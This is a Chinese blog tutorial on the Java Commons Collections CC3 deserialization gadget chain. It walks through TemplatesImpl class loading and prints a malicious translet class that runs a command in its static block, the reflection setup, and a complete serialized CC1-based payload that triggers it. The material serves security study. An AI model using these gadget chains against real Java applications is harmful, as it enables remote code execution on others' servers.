javaCC链3

news/2025/3/15 0:36:26/文章来源:https://www.cnblogs.com/q1stop/p/18344168

cc3

cc3区别cc6不再是使用Rutime类执行命令,而是通过类加载器动态加载恶意类然后执行

类加载:

ClassLoader.loadClass->ClassLoader.findClass->ClassLLoader.defineClass

ClassLoader.loadClass:寻找加载的类(双亲委派机制)

ClassLoader.findClass:如果loadClass没找到类,就根据类名称/位置加载字节码

ClassLLoader.defineClass:处理findClass传过来的字节码,使其变为.java类(只加载不执行,执行需要newInstance)

双亲委派机制

细讲双亲委派:https://www.cnblogs.com/hollischuang/p/14260801.html

大概就是java的类加载器分四种:BootstrapClassLoader、extensionClassLoader、ApplicationClassLoader、userClassLoader

这四种加载器从前到后有一个类似于父子的关系,前面的是后面的父加载器,在使用类加载器时,默认会先给父加载器加载,其加载不了才使用本身这个加载器

分析链

前面已经说了cc3是通过类加载器加载恶意类并执行

类加载时静态代码块的代码会在newInstance执行

所以写一个恶意的类:Calc.class,并把恶意类编译为class文件(字节码)

package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

所以我们是要利用ClassLoader的defineClass,进入ClassLoader.java

看到:

protected final Class<?> defineClass(String name, byte[] b, int off, int len)throws ClassFormatError{return defineClass(name, b, off, len, null);}

find usage,跟进TemplatesImpl

image-20240805214055506

是缺省,外部包不能调用,find usage

找到TemplatesImpl.defineTransletClasses方法,跟进,发现是private:

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}

继续find usage,看到同包下有三个方法:

image-20240805214600634

先看getTransletIndex,因为是public的,优先看一下,继续find usage发现没有了,问题就来了,我们之前说过只是加载字节码为类不执行代码,需要newInstance一下,但是这里没有,并且find usage也没其他调用关系了,所以不符合

public synchronized int getTransletIndex() {try {if (_class == null) defineTransletClasses();}catch (TransformerConfigurationException e) {// Falls through}return _transletIndex;}

根据上述选择标准,发现getTransletInstance符合,它有使用newInstance,虽然是private的,但是find usage有调用关系

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}

find usage继续找,找到new Transformer方法,并且是public:

public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}

所以我们现在链子已经梳理完毕

目的是:templates.newTransformer->templates.getTransletInstance->templates.defineTransletClasses->templates.defineClass->ClassLoader.defineClass

在templates.getTransletInstance有new Instance,可以执行Clac恶意类的静态代码块

现在根据2具体的方法代码设置一些属性,让它触发到我们想要执行的链子上,写payload:

TemplatesImpl templates = new TemplatesImpl();
//        目的:templates.newTransformer();//执行newTransformer会调用getTransletInstance,要触发defineTransletClasses,需要_name!=null而_class==nullClass templatesClass = TemplatesImpl.class;Field name = templatesClass.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"qs");//通过反射给_name赋值,这里的set是把指定对象templates的_name属性设置为后面的字符串//_class属性本身就是空,构造方法也没给它赋值不用管//执行defineTransletClasses,需要_bytecodes!=null,它的定义:private byte[][] _bytecodes = null;Field bytecode = templatesClass.getDeclaredField("_bytecodes");bytecode.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\cc链\\ccTest\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = new byte[][]{code};bytecode.set(templates,codes);//获取loader需要设置_tfactory,看到return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()),跟进_tfactory,看它是什么类型的//private transient TransformerFactoryImpl _tfactory = null;Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();

成功触发:

image-20240805221231195

不过毕竟是反序列化,所以我们需要readObject,这里就可以直接用之前学的cc1、cc1.2、cc6的链子,只需要改Runtime那一部分就可以了

以cc1为例子(换cc6也是2可以的) payload:(注意自己写一个serialize和unserialize方法)

public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();
//        目的:templates.newTransformer();//执行newTransformer会调用getTransletInstance,要触发defineTransletClasses,需要_name!=null而_class==nullClass templatesClass = TemplatesImpl.class;Field name = templatesClass.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"qs");//通过反射给_name赋值,这里的set是把指定对象templates的_name属性设置为后面的字符串//_class属性本身就是空,构造方法也没给它赋值不用管//执行defineTransletClasses,需要_bytecodes!=null,它的定义:private byte[][] _bytecodes = null;Field bytecode = templatesClass.getDeclaredField("_bytecodes");bytecode.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\cc链\\ccTest\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = new byte[][]{code};bytecode.set(templates,codes);//获取loader需要设置_tfactory,看到return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()),跟进_tfactory,看它是什么类型的//private transient TransformerFactoryImpl _tfactory = null;Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//设置好这些属性后执行newTransformer方法,成功弹计算器//templates.newTransformer();//不过既然是反序列化,那就要找readObject,这里就可以直接用之前的cc1、cc1.2和cc6链,改transformers数组就行了//比如cc1Transformer[] transformers = new Transformer[]{new ConstantTransformer(templates),//这里我们不用Runtime,使用TemplatesImpl的对象new InvokerTransformer("newTransformer",null,null)//我们要执行的方法是templates.newTransformer();};//后面的链子不变,AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->transform方法ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value","qs");Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);byte[] bytes = serialize(annotationInvocationHandler);unserialize(bytes);}

链子

templates.newTransformer->templates.getTransletInstance->templates.defineTransletClasses->templates.defineClass->ClassLoader.defineClass

最终只需要用TemplatesImpl的对象去代替Runtime对象,并且要用InvokerTransformer.transform来执行TemplatesImpl.newTransformer从而触发

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/778388.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构 顺序与链式二叉树的原理与实现(万字)

目录一、树概念及结构树的概念树的相关概念树的表示二、二叉树概念及结构概念特殊的二叉树二叉树的性质二叉树的存储结构三、二叉树的顺序结构及实现二叉树的顺序结构堆的概念及结构堆的实现堆向下调整算法堆的创建建堆时间复杂度堆的插入堆的删除堆的代码实现Heap.hHeap.c堆的…

Logisim-009-4位并行加载寄存器

仓库地址 https://gitee.com/gitliang/logisim-to-cpu

CTF—web专项

一:信息泄露 1、目录遍历漏洞 (1)原理:本质是没有过滤用户输入的 ../ 相关的目录跳转符,使得攻击者通过目录跳转符来遍历服务器中的任意文件。 (2)题解: eg:根据提示遍历网页目录信息,会在某一个文件夹中发现一个flag.txt文件2、phpinfo泄露 (1)定义:phpinfo 是 PH…

算术运算符里的特殊运算符

1.++(自加) 给一个数加1 自加分为两种,一个是++a,另一个是a++ a++:先给数赋值,然后再给a加1++a:先给a加1,然后再给数赋值2.--(自减) 给一个数减1

中文手写体识别(ocr)测试

记录一下,以下是测试中文手写体识别结果图展示(对于潦草的字迹效果一般),后期会开放模型,有java和python版本:

【Playwright+Python】系列教程(七)使用Playwright进行API接口测试

playwright也是可以做接口测试的,但个人觉得还是没有requests库强大,但和selenium相比的话,略胜一筹,毕竟支持API登录,也就是说可以不用交互直接调用接口操作了。 怎么用 既然是API的测试了,那肯定就别搞UI自动化那套,搞什么浏览器交互,那叫啥API测试,纯属扯淡。 也不…

继承和多态

继承 继承: 继承是java面向对象编程技术的一块基石,因为它允许创建分等级层次的类。 继承就是子类继承父类的特征和行为,使得子类对象(实例)具有父类的实例 域和方法,或子类从父类继承方法,使得子类具有父类相同的行为。 生活中的继承:继承的概述:继承是面向对象程序设…

数据的存储和排列

大端方式和小端方式边界对齐

中位数

题目题解1. 首先我们可以想到,既然需要输出(n+1)/2次,所以我们可以每次排序一下,并在其为奇数的时候输出它们中间的数。 #include<iostream> #include<algorithm> #include<queue> using namespace std; int N; int a[100001]; int main() { cin >&g…

Unity Gyro Camera ---- 传感器控制摄像头旋转 + 正北校准 (纯原生支持Android+IOS,无需安装ARKit,ARCore等插件)

Unity Gyro Camera 传感器控制摄像头旋转 + 正北校准 纯原生支持Android+IOS,无需安装ARKit,ARCore等插件这篇文章主要介绍如何利用手机原生的传感器,控制摄像头的旋转,最终可以实现AR或者VR的摄像头旋转控制问题提出 虽然,目前有一些用手机传感器控制虚拟摄像头旋转的方案…

浮点数的表示及IEEE754标准

浮点数的表示浮点数的规格化IEEE754标准 移码IEEE754这里有一个需要特别注意的地方,IEEE754中,尾数个位上的1是隐含的IEEE 的阶码保留了全0和全1来表示特殊的状态,所以阶码最大值的真值为127,对应机器数为1111 1110,阶码最小值的真值为-126,对应的机器数为0000 0001

记一次STM32使用I2C PinRemap引脚重映射出现卡死现象

在移植WouoUI到STMF103C8 BluePill board时,发现会出现上电卡死在I2C检查函数(如下图)本人遇到的现象:在习惯使用的(SWI2C / HWI2C)@(PB8->SCL PB9->SDA)连接OLED的情况下,大多数情况使用江科大的SWI2C,一切正常。今天跑某开源基于u8g2库的UI框架 WouoUI(HWI2C)…